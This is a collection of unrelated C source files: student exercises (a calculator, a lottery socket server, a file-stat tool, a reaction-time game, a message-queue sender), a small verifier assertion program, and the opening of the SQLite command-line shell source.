if( select != 'a' && select != 's' && select != 'm' && select != 'd')
{
printf("Bye.\n");
break;
}
printf("Enter first number:");
num1 = get_float();
printf("Enter second number:");
num2 = get_float();
while( select == 'd' && num2 == 0)
{
printf("Enter a number other than 0:");
num2 = get_float();
}
switch(select)
{
case 'a': printf("%.2f + %.2f = %.2f\n",num1, num2, num1 + num2);
break;
case 's': printf("%.2f - %.2f = %.2f\n",num1, num2, num1 - num2);
break;
case 'm': printf("%.2f * %.2f = %.2f\n",num1, num2, num1 * num2);
break;
case 'd': printf("%.2f / %.2f = %.2f\n",num1, num2, num1 / num2);
break;
default : break;
}
}
return(0);
}
float get_float(void)
{
float num;
char str[40];
while(scanf("%f",&num)!=1)
{
gets(str);
printf("%s is not a number.\n",str);
printf("Please enter a numbe, such as 2.5, -1.78E8, or 3:");
}
while ( getchar() != '\n');
return num;
}
char get_first(void)
{
int ch;
while( isspace( ch = getchar() ) );
while ( getchar() != '\n');
return ch;
}
|
the_stack_data/801932.c | #include <curses.h>
int baudrate(void)
{
return ERR;
}
/*
XOPEN(4)
LINK(curses)
*/
|
the_stack_data/156393151.c | #include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#define GETSOCKETERRNO() (errno)
#define SERVER_ADDRESS "127.0.0.1"
#define SERVER_ADDRESS6 "::1"
#define MAXLINE 4096
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>
int main()
{
// DEFINING VARIABLE
struct addrinfo hints;
struct addrinfo *servinfo;
struct sockaddr_storage client_address;
int socket_listen;
char buf[MAXLINE];
int n = 0;
int socket_client;
printf("********** STARTING SERVER **********\n\n");
printf("Configuring local address...\n");
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET6; //Dual Stack
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
getaddrinfo(0, "7777", &hints, &servinfo);
printf("Creating socket ...\n");
socket_listen = socket(servinfo->ai_family, servinfo->ai_socktype, 0);
if (socket_listen == -1)
{
fprintf(stderr, "socket() failed. (%d)\n", GETSOCKETERRNO());
return 1;
}
int option = 0;
if (setsockopt(socket_listen, IPPROTO_IPV6, IPV6_V6ONLY, (void *)&option,
sizeof(option)))
{
fprintf(stderr, "setsockopt() failed. (%d)\n", GETSOCKETERRNO());
return 1; //Dual Stack
}
printf("Binding socket to local address...\n");
if (bind(socket_listen, servinfo->ai_addr, servinfo->ai_addrlen) == -1)
{
fprintf(stderr, "bind() failed. (%d)\n", GETSOCKETERRNO());
return 1;
}
printf("Listening ...\n");
if (listen(socket_listen, 10) == -1)
{
fprintf(stderr, "listen() failed. (%d)\n", GETSOCKETERRNO());
return 1;
}
printf("\n********** SERVER STARTED **********\n\n");
printf("=> Waiting for client connection...\n");
// FD_SET
fd_set our_sockets;
FD_ZERO(&our_sockets);
FD_SET(socket_listen, &our_sockets);
// FIND MAX SOCKET
int max_socket;
max_socket = socket_listen;
int count = 0;
// Client Number
int client_socket_number[3];
int numbers[3];
int successfully_received_number = 0;
int result_number;
int client_won = 0;
// SELECT
for (;;)
{
fd_set reads;
reads = our_sockets;
if (select(max_socket + 1, &reads, 0, 0, 0) < 0)
{
fprintf(stderr, "select() failed. (%d)\n", GETSOCKETERRNO());
return 1;
}
int i;
for (i = 1; i <= max_socket; ++i)
{
if (FD_ISSET(i, &reads))
{
if (i == socket_listen)
{
count++;
printf("********** Received request from a new client **********\n");
struct sockaddr_storage client_address;
socklen_t client_len = sizeof(client_address);
int socket_client = accept(socket_listen,
(struct sockaddr *)&client_address,
&client_len);
if (socket_client == -1)
{
fprintf(stderr, "accept() failed. (%d)\n",
GETSOCKETERRNO());
return 1;
}
// 3 Client can connect to one time.
if (count <= 3)
{
FD_SET(socket_client, &our_sockets);
if (socket_client > max_socket)
max_socket = socket_client;
char address_buffer[100];
getnameinfo((struct sockaddr *)&client_address,
client_len,
address_buffer, sizeof(address_buffer), 0, 0,
NI_NUMERICHOST);
printf("=> New connection from %s\n", address_buffer);
}
else
{
printf("=> !!!This server cannot accept this connection (Socket = %d)!!!\n\n", socket_client);
close(socket_client);
count--;
}
}
else
{
// IF 3 CLIENT CONNECTION -> CLIENT CAN SEND A NUBMER.
if (count == 3)
{
// RECEIVED NUMBER FROM CLIENT
char read[1024];
int bytes_received = recv(i, read, 1024, 0);
printf("=> Number received from the client (Socket = %d): %s\n\n", i, read);
strtok(read, "\n");
// STORE A NUMBER FROM CLIENT
client_socket_number[successfully_received_number] = i;
numbers[successfully_received_number] = atoi(read);
// SEND TO CLIENT
char result[100];
sprintf(result, "We have received your number %d, Please waiting for other client just a moment :)\n", numbers[successfully_received_number]);
send(i, result, strlen(result), 0);
bzero(read, 1024);
++successfully_received_number;
}
}
}
}
// If received 3 number from each client
if (successfully_received_number == 3)
{
printf("=> All client have been sending number ;)\n");
printf("=> Generating prize number...\n");
// RANDOM RESULT PRIZE NUMBER.
srand(time(0));
result_number = rand() % 100;
// FIX HUAY
//result_number = 88;
printf("=> Result prize number is %d\n", result_number);
int j;
// Cal client won
for (j = 0; j < 3; j++)
{
if (numbers[j] == result_number)
{
client_won++;
}
}
// Announcement of results
for (j = 0; j < 3; j++)
{
char result[1024] = "";
sprintf(result, "All number is %d %d %d\n", numbers[0], numbers[1], numbers[2]);
// if client won
if (numbers[j] == result_number)
{
strcat(result, "You are Winner, get your money.\n");
}
else
{
strcat(result, "You're never a Loser until you quit trying.\n");
}
// if someone won
if (client_won > 0)
{
char din_tmp[1024] = "";
sprintf(din_tmp, "This time, have %d lucky guys :)\n", client_won);
strcat(result, din_tmp);
}
else
{
strcat(result, "This time, no one won the prize :(\n");
}
send(client_socket_number[j], result, strlen(result), 0);
}
printf("\n********** Closing listening socket **********\n\n");
close(socket_listen);
printf("Server Finished.\n");
return 0;
}
}
printf("Closing listening socket...\n");
close(socket_listen);
printf("Finished.\n");
return 0;
}
|
the_stack_data/132953991.c | /* File status - stat.c */
#include <stdio.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char*argv[])
{
struct stat file;
int n;
if (argc != 2)
{
printf("Usage: ./a.out <filename>\n");
exit(-1);
}
if ((n = stat(argv[1], &file)) == -1)
{
perror(argv[1]);
exit(-1);
}
printf("User id : %d\n", file.st_uid);
printf("Group id : %d\n", file.st_gid);
printf("Block size : %d\n", file.st_blksize);
printf("Blocks allocated : %d\n", file.st_blocks);
printf("Inode no. : %d\n", file.st_ino);
printf("Last accessed : %s", ctime(&(file.st_atime)));
printf("Last modified : %s", ctime(&(file.st_mtime)));
printf("File size : %d bytes\n", file.st_size);
printf("No. of links : %d\n", file.st_nlink);
printf("Permissions : ");
printf( (S_ISDIR(file.st_mode)) ? "d" : "-");
printf( (file.st_mode & S_IRUSR) ? "r" : "-");
printf( (file.st_mode & S_IWUSR) ? "w" : "-");
printf( (file.st_mode & S_IXUSR) ? "x" : "-");
printf( (file.st_mode & S_IRGRP) ? "r" : "-");
printf( (file.st_mode & S_IWGRP) ? "w" : "-");
printf( (file.st_mode & S_IXGRP) ? "x" : "-");
printf( (file.st_mode & S_IROTH) ? "r" : "-");
printf( (file.st_mode & S_IWOTH) ? "w" : "-");
printf( (file.st_mode & S_IXOTH) ? "x" : "-");
printf("\n");
if(file.st_mode & S_IFREG)
printf("File type : Regular\n");
if(file.st_mode & S_IFDIR)
printf("File type : Directory\n");
}
|
the_stack_data/179830758.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int ft_strncmp(char *s1, char *s2, unsigned int n);
void ft_strncmp_test(char *s1, char *s2, unsigned int n)
{
int res;
int ft_res;
res = strncmp(s1, s2, n);
ft_res = ft_strncmp(s1, s2, n);
if (res != ft_res)
printf("> KO, expected: %d, got: %d\n", res, ft_res);
else
printf("> OK, result: %d\n", ft_res);
}
int main(void)
{
char *s1 = "abcdefghi";
char *s2 = "abcdEfghi";
char s3[] = "abCefh";
int offset;
offset = 0;
printf("[1] Testing strings \"%s\" and \"%s\"\n", s1, s2);
while (offset < 10)
{
ft_strncmp_test(s1, s2, offset);
offset++;
}
offset = 0;
printf("[2] Testing strings \"%s\" and \"%s\"\n", s1, s3);
while (offset < 10)
{
ft_strncmp_test(s1, s3, offset);
offset++;
}
offset = 0;
printf("[3] Testing strings \"%s\" and \"%s\"\n", s2, s3);
while (offset < 10)
{
ft_strncmp_test(s2, s3, offset);
offset++;
}
return (0);
} |
the_stack_data/161080491.c | /*
Guilherme Vieira Silva Gonçalves
22121025-5
Exercício 2
*/
#include <stdio.h>
#include <stdlib.h>
void functionx3(int x1[], int x2[], int n1, int n2)
{
int m = 0;
if(x1[n1-1] > x2[n2-1])
{
m = x1[n1-1];
}
else if(x1[n1-1] < x2[n2-1])
{
m = x2[n2-1];
}
int x3[m], c = 0;
for(int i = 0; i < n1; i++)
{
for(int j = 0; j < n2; j++)
{
if(x1[i] == x2[j])
{
x3[c] = x1[i];
c++;
break;
}
}
}
int *qtd = &c;
for(int i = 0; i < n1; i++){
printf("x1[%d] = %d ", i, x1[i]);
}
printf("\n");
for(int i = 0; i < n2; i++){
printf("x2[%d] = %d ", i, x2[i]);
}
printf("\nQuantidade = %d\n", *qtd);
for(int i = 0; i < c; i++)
{
printf("x3[%d] = %d\n", i, x3[i]);
}
}
int main(void)
{
int n1, n2, *x1, *x2;
scanf("%d", &n1);
scanf("%d", &n2);
x1 = malloc(n1*sizeof(int));
x2 = malloc(n2*sizeof(int));
for(int i = 0; i < n1; i++)
{
scanf("%d", x1+i);
}
for(int i = 0; i <n2; i++)
{
scanf("%d", x2+i);
}
functionx3(x1, x2, n1, n2);
} |
the_stack_data/43886672.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <time.h>
#include <termio.h>
#include <unistd.h>
#include <fcntl.h>
int getch(void);
int kbhit(void);
int main() {
int a = 0, b = 0, hadanyZnak = 0;
struct timeval start, stop;
srand(time(NULL));
printf("F1 - Napoveda \t F2 - Start/Restart \t F4/ESC - Koniec\n");
if(!kbhit()){
while(getch()!= 83){
printf("F1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
a = getch();
if(a == 27){
a = getch();
if(a == 79){
a = getch();
}
}
// prve menu
if (a == 79 || a == 80){ //49
system("clear");
printf("Meranie bude spocivat v tom, ze program vygeneruje nahodny znak, zobrazi ho a spusti");
printf("meranie casu. \nMeranie sa zastavi v okamihu, ked uzivatel stlaci rovnaku klavesu. \n");
printf("k uzivatel stlaci nieco ine, program to ma ignorovat. \nNapokon program vypise zmerany cas,");
printf("ktory uplynie od vypisania po stlacenie klavesy.\n");
printf("F1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
}else if(a == 83){ //48
return 0;
}else if(a == 81){ //50
goto game;
}
//menu po 1
b = getch();
game:
if(b == 81){
system("clear"); //clear terminal
char randomLetter = (rand()%(122 - 97 + 1)) + 97; //ascii kod pismena
char hadaneZnaky[30];
int pocetPokusov = 0;
printf("%c\n", randomLetter);
// hadame znak a zistujeme cas
gettimeofday(&start, NULL);
do {
hadanyZnak = getch();
if(hadanyZnak == 83){
return 0;
}
hadaneZnaky[pocetPokusov] = hadanyZnak;
pocetPokusov++;
}while (hadanyZnak != randomLetter);
gettimeofday(&stop, NULL);
double time;
time = (stop.tv_sec - start.tv_sec) * 1000;
time += (stop.tv_usec - start.tv_usec) / 1000.0;
time /= 1000;
// vyherne hlasky
if(pocetPokusov == 1){
if(time <= 1){
printf("\33[0;32m"); //green
printf("cas bol: %.2f\n", time);
printf("\33[0m");
printf("stlacili ste: %c\n", hadanyZnak);
printf("F1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
}else if(time > 1 && time <= 1.5){
printf("\33[0;36m"); //cyan
printf("cas bol: %.2f\n", time);
printf("\33[0m");
printf("stlacili ste: %c\n", hadanyZnak);
printf("F1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
}else if(time > 1.5){
printf("\33[0;31m"); //red
printf("cas bol: %.2f\n", time);
printf("\33[0m");
printf("stlacili ste: %c\n", hadanyZnak);
printf("F1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
}
}else if(pocetPokusov >= 1){
if(time <= 1){
printf("\33[0;32m");
printf("cas bol: %.2f\n", time);
printf("\33[0m");
printf("Postupne ste stlacali: ");
int i = 0;
while(i < pocetPokusov){
printf("%c ", hadaneZnaky[i]);
i++;
}
printf("\nF1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
}else if(time > 1 && time <= 1.5){
printf("\33[0;36m");
printf("cas bol: %.2f\n", time);
printf("\33[0m");
printf("Postupne ste stlacali: ");
int i = 0;
while(i < pocetPokusov){
printf("%c ", hadaneZnaky[i]);
i++;
}
printf("\nF1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
}else if(time > 1.5){
printf("\33[0;31m");
printf("cas bol: %.2f\n", time);
printf("\33[0m");
printf("Postupne ste stlacali: ");
int i = 0;
while(i < pocetPokusov){
printf("%c ", hadaneZnaky[i]);
i++;
}
printf("\nF1 - Napoveda \t F2 - Start/Restart \t F4 - Koniec\n");
}
}
}else if(b == 83){
return 0;
}
printf("\n");
}
}
}
int kbhit(void){
struct termios oldt, newt;
int ch;
int oldf;
tcgetattr(STDIN_FILENO, &oldt);
newt = oldt;
newt.c_lflag &= ~(ICANON | ECHO);
tcsetattr(STDIN_FILENO, TCSANOW, &newt);
oldf = fcntl(STDIN_FILENO, F_GETFL, 0);
fcntl(STDIN_FILENO, F_SETFL, oldf | O_NONBLOCK);
ch = getchar();
tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
fcntl(STDIN_FILENO, F_SETFL, oldf);
if(ch != EOF){
ungetc(ch, stdin);
return 1;
}
return 0;
}
int getch(void){
struct termios oldattr, newattr;
int ch;
tcgetattr( STDIN_FILENO, &oldattr );
newattr = oldattr;
newattr.c_lflag &= ~( ICANON | ECHO );
tcsetattr( STDIN_FILENO, TCSANOW, &newattr );
ch = getchar();
tcsetattr( STDIN_FILENO, TCSANOW, &oldattr );
return ch;
} |
the_stack_data/198579990.c | extern void abort(void);
void reach_error(){}
void __VERIFIER_assert(int cond) {
if (!(cond)) {
ERROR: {reach_error();abort();}
}
return;
}
int main() {
int x=0;
while(1)
{
__VERIFIER_assert(x==0);
}
__VERIFIER_assert(x==0);
}
|
the_stack_data/1060491.c | /*msgsend.c*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/msg.h>
#include <errno.h>
#define MAX_TEXT 512
struct msg_st {
long int msg_type;
char text[MAX_TEXT];
};
int main() {
int running = 1;
struct msg_st data;
char buffer[BUFSIZ];
int msgid = -1;
//建立消息队列
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
if (msgid == -1) {
fprintf(stderr, "msgget failed with error: %d\n", errno);
exit(EXIT_FAILURE);
}
//向消息队列中写消息，直到写入end
while (running) {
//输入数据
printf("Enter some text: ");
fgets(buffer, BUFSIZ, stdin);
data.msg_type = 1; //注意2
strcpy(data.text, buffer);
//向队列发送数据
if (msgsnd(msgid, (void*)&data, MAX_TEXT, 0) == -1) {
fprintf(stderr, "msgsnd failed\n");
exit(EXIT_FAILURE);
}
//输入end结束输入
if (strncmp(buffer, "end", 3) == 0)
running = 0;
sleep(1);
}
exit(EXIT_SUCCESS);
} |
the_stack_data/23575240.c | /* DO NOT EDIT!
** This file is automatically generated by the script in the canonical
** SQLite source tree at tool/mkshellc.tcl. That script combines source
** code from various constituent source files of SQLite into this single
** "shell.c" file used to implement the SQLite command-line shell.
**
** Most of the code found below comes from the "src/shell.c.in" file in
** the canonical SQLite source tree. That main file contains "INCLUDE"
** lines that specify other files in the canonical source tree that are
** inserted to getnerate this complete program source file.
**
** The code from multiple files is combined into this single "shell.c"
** source file to help make the command-line program easier to compile.
**
** To modify this program, get a copy of the canonical SQLite source tree,
** edit the src/shell.c.in" and/or some of the other files that are included
** by "src/shell.c.in", then rerun the tool/mkshellc.tcl script.
*/
/*
cc -o xlsxsqlite shell.c sqlite3.c -lexpat -lpthread -ldl -lz
** 2001 September 15
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
** This file contains code to implement the "sqlite" command line
** utility for accessing SQLite databases.
*/
#if (defined(_WIN32) || defined(WIN32)) && !defined(_CRT_SECURE_NO_WARNINGS)
/* This needs to come before any includes for MSVC compiler */
#define _CRT_SECURE_NO_WARNINGS
#endif
/*
** Determine if we are dealing with WinRT, which provides only a subset of
** the full Win32 API.
*/
#if !defined(SQLITE_OS_WINRT)
# define SQLITE_OS_WINRT 0
#endif
/*
** Warning pragmas copied from msvc.h in the core.
*/
#if defined(_MSC_VER)
#pragma warning(disable : 4054)
#pragma warning(disable : 4055)
#pragma warning(disable : 4100)
#pragma warning(disable : 4127)
#pragma warning(disable : 4130)
#pragma warning(disable : 4152)
#pragma warning(disable : 4189)
#pragma warning(disable : 4206)
#pragma warning(disable : 4210)
#pragma warning(disable : 4232)
#pragma warning(disable : 4244)
#pragma warning(disable : 4305)
#pragma warning(disable : 4306)
#pragma warning(disable : 4702)
#pragma warning(disable : 4706)
#endif /* defined(_MSC_VER) */
/*
** No support for loadable extensions in VxWorks.
*/
#if (defined(__RTP__) || defined(_WRS_KERNEL)) && !SQLITE_OMIT_LOAD_EXTENSION
# define SQLITE_OMIT_LOAD_EXTENSION 1
#endif
/*
** Enable large-file support for fopen() and friends on unix.
*/
#ifndef SQLITE_DISABLE_LFS
# define _LARGE_FILE 1
# ifndef _FILE_OFFSET_BITS
# define _FILE_OFFSET_BITS 64
# endif
# define _LARGEFILE_SOURCE 1
#endif
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <assert.h>
#include "sqlite3.h"
typedef sqlite3_int64 i64;
typedef sqlite3_uint64 u64;
typedef unsigned char u8;
#if SQLITE_USER_AUTHENTICATION
# include "sqlite3userauth.h"
#endif
#include <ctype.h>
#include <stdarg.h>
#if !defined(_WIN32) && !defined(WIN32)
# include <signal.h>
# if !defined(__RTP__) && !defined(_WRS_KERNEL)
# include <pwd.h>
# endif
#endif
#if (!defined(_WIN32) && !defined(WIN32)) || defined(__MINGW32__)
# include <unistd.h>
# include <dirent.h>
# define GETPID getpid
# if defined(__MINGW32__)
# define DIRENT dirent
# ifndef S_ISLNK
# define S_ISLNK(mode) (0)
# endif
# endif
#else
# define GETPID (int)GetCurrentProcessId
#endif
#include <sys/types.h>
#include <sys/stat.h>
#if HAVE_READLINE
# include <readline/readline.h>
# include <readline/history.h>
#endif
#if HAVE_EDITLINE
# include <editline/readline.h>
#endif
#if HAVE_EDITLINE || HAVE_READLINE
# define shell_add_history(X) add_history(X)
# define shell_read_history(X) read_history(X)
# define shell_write_history(X) write_history(X)
# define shell_stifle_history(X) stifle_history(X)
# define shell_readline(X) readline(X)
#elif HAVE_LINENOISE
# include "linenoise.h"
# define shell_add_history(X) linenoiseHistoryAdd(X)
# define shell_read_history(X) linenoiseHistoryLoad(X)
# define shell_write_history(X) linenoiseHistorySave(X)
# define shell_stifle_history(X) linenoiseHistorySetMaxLen(X)
# define shell_readline(X) linenoise(X)
#else
# define shell_read_history(X)
# define shell_write_history(X)
# define shell_stifle_history(X)
# define SHELL_USE_LOCAL_GETLINE 1
#endif
#if defined(_WIN32) || defined(WIN32)
# if SQLITE_OS_WINRT
# define SQLITE_OMIT_POPEN 1
# else
# include <io.h>
# include <fcntl.h>
# define isatty(h) _isatty(h)
# ifndef access
# define access(f,m) _access((f),(m))
# endif
# ifndef unlink
# define unlink _unlink
# endif
# ifndef strdup
# define strdup _strdup
# endif
# undef popen
# define popen _popen
# undef pclose
# define pclose _pclose
# endif
#else
/* Make sure isatty() has a prototype. */
extern int isatty(int);
# if !defined(__RTP__) && !defined(_WRS_KERNEL)
/* popen and pclose are not C89 functions and so are
** sometimes omitted from the <stdio.h> header */
extern FILE *popen(const char*,const char*);
extern int pclose(FILE*);
# else
# define SQLITE_OMIT_POPEN 1
# endif
#endif
#if defined(_WIN32_WCE)
/* Windows CE (arm-wince-mingw32ce-gcc) does not provide isatty()
* thus we always assume that we have a console. That can be
* overridden with the -batch command line option.
*/
#define isatty(x) 1
#endif
/* ctype macros that work with signed characters */
#define IsSpace(X) isspace((unsigned char)X)
#define IsDigit(X) isdigit((unsigned char)X)
#define ToLower(X) (char)tolower((unsigned char)X)
#if defined(_WIN32) || defined(WIN32)
#if SQLITE_OS_WINRT
#include <intrin.h>
#endif
#include <windows.h>
/* string conversion routines only needed on Win32 */
extern char *sqlite3_win32_unicode_to_utf8(LPCWSTR);
extern char *sqlite3_win32_mbcs_to_utf8_v2(const char *, int);
extern char *sqlite3_win32_utf8_to_mbcs_v2(const char *, int);
extern LPWSTR sqlite3_win32_utf8_to_unicode(const char *zText);
#endif
/* On Windows, we normally run with output mode of TEXT so that \n characters
** are automatically translated into \r\n. However, this behavior needs
** to be disabled in some cases (ex: when generating CSV output and when
** rendering quoted strings that contain \n characters). The following
** routines take care of that.
*/
#if (defined(_WIN32) || defined(WIN32)) && !SQLITE_OS_WINRT
static void setBinaryMode(FILE *file, int isOutput){
if( isOutput ) fflush(file);
_setmode(_fileno(file), _O_BINARY);
}
static void setTextMode(FILE *file, int isOutput){
if( isOutput ) fflush(file);
_setmode(_fileno(file), _O_TEXT);
}
#else
# define setBinaryMode(X,Y)
# define setTextMode(X,Y)
#endif
#include <expat.h>
#if defined(__amigaos__) && defined(__USE_INLINE__)
#include <proto/expat.h>
#endif
#ifdef XML_LARGE_SIZE
#if defined(XML_USE_MSC_EXTENSIONS) && _MSC_VER < 1400
#define XML_FMT_INT_MOD "I64"
#else
#define XML_FMT_INT_MOD "ll"
#endif
#else
#define XML_FMT_INT_MOD "l"
#endif
/* True if the timer is enabled */
static int enableTimer = 0;
/* Return the current wall-clock time */
static sqlite3_int64 timeOfDay(void){
static sqlite3_vfs *clockVfs = 0;
sqlite3_int64 t;
if( clockVfs==0 ) clockVfs = sqlite3_vfs_find(0);
if( clockVfs==0 ) return 0; /* Never actually happens */
if( clockVfs->iVersion>=2 && clockVfs->xCurrentTimeInt64!=0 ){
clockVfs->xCurrentTimeInt64(clockVfs, &t);
}else{
double r;
clockVfs->xCurrentTime(clockVfs, &r);
t = (sqlite3_int64)(r*86400000.0);
}
return t;
}
#if !defined(_WIN32) && !defined(WIN32) && !defined(__minux)
#include <sys/time.h>
#include <sys/resource.h>
/* VxWorks does not support getrusage() as far as we can determine */
#if defined(_WRS_KERNEL) || defined(__RTP__)
struct rusage {
struct timeval ru_utime; /* user CPU time used */
struct timeval ru_stime; /* system CPU time used */
};
#define getrusage(A,B) memset(B,0,sizeof(*B))
#endif
/* Saved resource information for the beginning of an operation */
static struct rusage sBegin; /* CPU time at start */
static sqlite3_int64 iBegin; /* Wall-clock time at start */
/*
** Begin timing an operation
*/
static void beginTimer(void){
if( enableTimer ){
getrusage(RUSAGE_SELF, &sBegin);
iBegin = timeOfDay();
}
}
/* Return the difference of two time_structs in seconds */
static double timeDiff(struct timeval *pStart, struct timeval *pEnd){
return (pEnd->tv_usec - pStart->tv_usec)*0.000001 +
(double)(pEnd->tv_sec - pStart->tv_sec);
}
/*
** Print the timing results.
*/
static void endTimer(void){
if( enableTimer ){
sqlite3_int64 iEnd = timeOfDay();
struct rusage sEnd;
getrusage(RUSAGE_SELF, &sEnd);
printf("Run Time: real %.3f user %f sys %f\n",
(iEnd - iBegin)*0.001,
timeDiff(&sBegin.ru_utime, &sEnd.ru_utime),
timeDiff(&sBegin.ru_stime, &sEnd.ru_stime));
}
}
#define BEGIN_TIMER beginTimer()
#define END_TIMER endTimer()
#define HAS_TIMER 1
#elif (defined(_WIN32) || defined(WIN32))
/* Saved resource information for the beginning of an operation */
static HANDLE hProcess;
static FILETIME ftKernelBegin;
static FILETIME ftUserBegin;
static sqlite3_int64 ftWallBegin;
typedef BOOL (WINAPI *GETPROCTIMES)(HANDLE, LPFILETIME, LPFILETIME,
LPFILETIME, LPFILETIME);
static GETPROCTIMES getProcessTimesAddr = NULL;
/*
** Check to see if we have timer support. Return 1 if necessary
** support found (or found previously).
*/
static int hasTimer(void){
if( getProcessTimesAddr ){
return 1;
} else {
#if !SQLITE_OS_WINRT
/* GetProcessTimes() isn't supported in WIN95 and some other Windows
** versions. See if the version we are running on has it, and if it
** does, save off a pointer to it and the current process handle.
*/
hProcess = GetCurrentProcess();
if( hProcess ){
HINSTANCE hinstLib = LoadLibrary(TEXT("Kernel32.dll"));
if( NULL != hinstLib ){
getProcessTimesAddr =
(GETPROCTIMES) GetProcAddress(hinstLib, "GetProcessTimes");
if( NULL != getProcessTimesAddr ){
return 1;
}
FreeLibrary(hinstLib);
}
}
#endif
}
return 0;
}
/*
** Begin timing an operation
*/
static void beginTimer(void){
if( enableTimer && getProcessTimesAddr ){
FILETIME ftCreation, ftExit;
getProcessTimesAddr(hProcess,&ftCreation,&ftExit,
&ftKernelBegin,&ftUserBegin);
ftWallBegin = timeOfDay();
}
}
/* Return the difference of two FILETIME structs in seconds */
static double timeDiff(FILETIME *pStart, FILETIME *pEnd){
sqlite_int64 i64Start = *((sqlite_int64 *) pStart);
sqlite_int64 i64End = *((sqlite_int64 *) pEnd);
return (double) ((i64End - i64Start) / 10000000.0);
}
/*
** Print the timing results.
*/
static void endTimer(void){
if( enableTimer && getProcessTimesAddr){
FILETIME ftCreation, ftExit, ftKernelEnd, ftUserEnd;
sqlite3_int64 ftWallEnd = timeOfDay();
getProcessTimesAddr(hProcess,&ftCreation,&ftExit,&ftKernelEnd,&ftUserEnd);
printf("Run Time: real %.3f user %f sys %f\n",
(ftWallEnd - ftWallBegin)*0.001,
timeDiff(&ftUserBegin, &ftUserEnd),
timeDiff(&ftKernelBegin, &ftKernelEnd));
}
}
#define BEGIN_TIMER beginTimer()
#define END_TIMER endTimer()
#define HAS_TIMER hasTimer()
#else
#define BEGIN_TIMER
#define END_TIMER
#define HAS_TIMER 0
#endif
/*
** Used to prevent warnings about unused parameters
*/
#define UNUSED_PARAMETER(x) (void)(x)
/*
** Number of elements in an array
*/
#define ArraySize(X) (int)(sizeof(X)/sizeof(X[0]))
/*
** If the following flag is set, then command execution stops
** at an error if we are not interactive.
*/
static int bail_on_error = 0;
/*
** Threat stdin as an interactive input if the following variable
** is true. Otherwise, assume stdin is connected to a file or pipe.
*/
static int stdin_is_interactive = 1;
/*
** On Windows systems we have to know if standard output is a console
** in order to translate UTF-8 into MBCS. The following variable is
** true if translation is required.
*/
static int stdout_is_console = 1;
/*
** The following is the open SQLite database. We make a pointer
** to this database a static variable so that it can be accessed
** by the SIGINT handler to interrupt database processing.
*/
static sqlite3 *globalDb = 0;
/*
** True if an interrupt (Control-C) has been received.
*/
static volatile int seenInterrupt = 0;
#ifdef SQLITE_DEBUG
/*
** Out-of-memory simulator variables
*/
static unsigned int oomCounter = 0; /* Simulate OOM when equals 1 */
static unsigned int oomRepeat = 0; /* Number of OOMs in a row */
static void*(*defaultMalloc)(int) = 0; /* The low-level malloc routine */
#endif /* SQLITE_DEBUG */
/*
** This is the name of our program. It is set in main(), used
** in a number of other places, mostly for error messages.
*/
static char *Argv0;
/*
** Prompt strings. Initialized in main. Settable with
** .prompt main continue
*/
static char mainPrompt[20]; /* First line prompt. default: "sqlite> "*/
static char continuePrompt[20]; /* Continuation prompt. default: " ...> " */
/*
** Render output like fprintf(). Except, if the output is going to the
** console and if this is running on a Windows machine, translate the
** output from UTF-8 into MBCS.
*/
#if defined(_WIN32) || defined(WIN32)
void utf8_printf(FILE *out, const char *zFormat, ...){
va_list ap;
va_start(ap, zFormat);
if( stdout_is_console && (out==stdout || out==stderr) ){
char *z1 = sqlite3_vmprintf(zFormat, ap);
char *z2 = sqlite3_win32_utf8_to_mbcs_v2(z1, 0);
sqlite3_free(z1);
fputs(z2, out);
sqlite3_free(z2);
}else{
vfprintf(out, zFormat, ap);
}
va_end(ap);
}
#elif !defined(utf8_printf)
# define utf8_printf fprintf
#endif
/*
** Render output like fprintf(). This should not be used on anything that
** includes string formatting (e.g. "%s").
*/
#if !defined(raw_printf)
# define raw_printf fprintf
#endif
/* Indicate out-of-memory and exit. */
static void shell_out_of_memory(void){
raw_printf(stderr,"Error: out of memory\n");
exit(1);
}
#ifdef SQLITE_DEBUG
/* This routine is called when a simulated OOM occurs. It is broken
** out as a separate routine to make it easy to set a breakpoint on
** the OOM
*/
void shellOomFault(void){
if( oomRepeat>0 ){
oomRepeat--;
}else{
oomCounter--;
}
}
#endif /* SQLITE_DEBUG */
#ifdef SQLITE_DEBUG
/* This routine is a replacement malloc() that is used to simulate
** Out-Of-Memory (OOM) errors for testing purposes.
*/
static void *oomMalloc(int nByte){
if( oomCounter ){
if( oomCounter==1 ){
shellOomFault();
return 0;
}else{
oomCounter--;
}
}
return defaultMalloc(nByte);
}
#endif /* SQLITE_DEBUG */
#ifdef SQLITE_DEBUG
/* Register the OOM simulator. This must occur before any memory
** allocations */
static void registerOomSimulator(void){
sqlite3_mem_methods mem;
sqlite3_config(SQLITE_CONFIG_GETMALLOC, &mem);
defaultMalloc = mem.xMalloc;
mem.xMalloc = oomMalloc;
sqlite3_config(SQLITE_CONFIG_MALLOC, &mem);
}
#endif
/*
** Write I/O traces to the following stream.
*/
#ifdef SQLITE_ENABLE_IOTRACE
static FILE *iotrace = 0;
#endif
/*
** This routine works like printf in that its first argument is a
** format string and subsequent arguments are values to be substituted
** in place of % fields. The result of formatting this string
** is written to iotrace.
*/
#ifdef SQLITE_ENABLE_IOTRACE
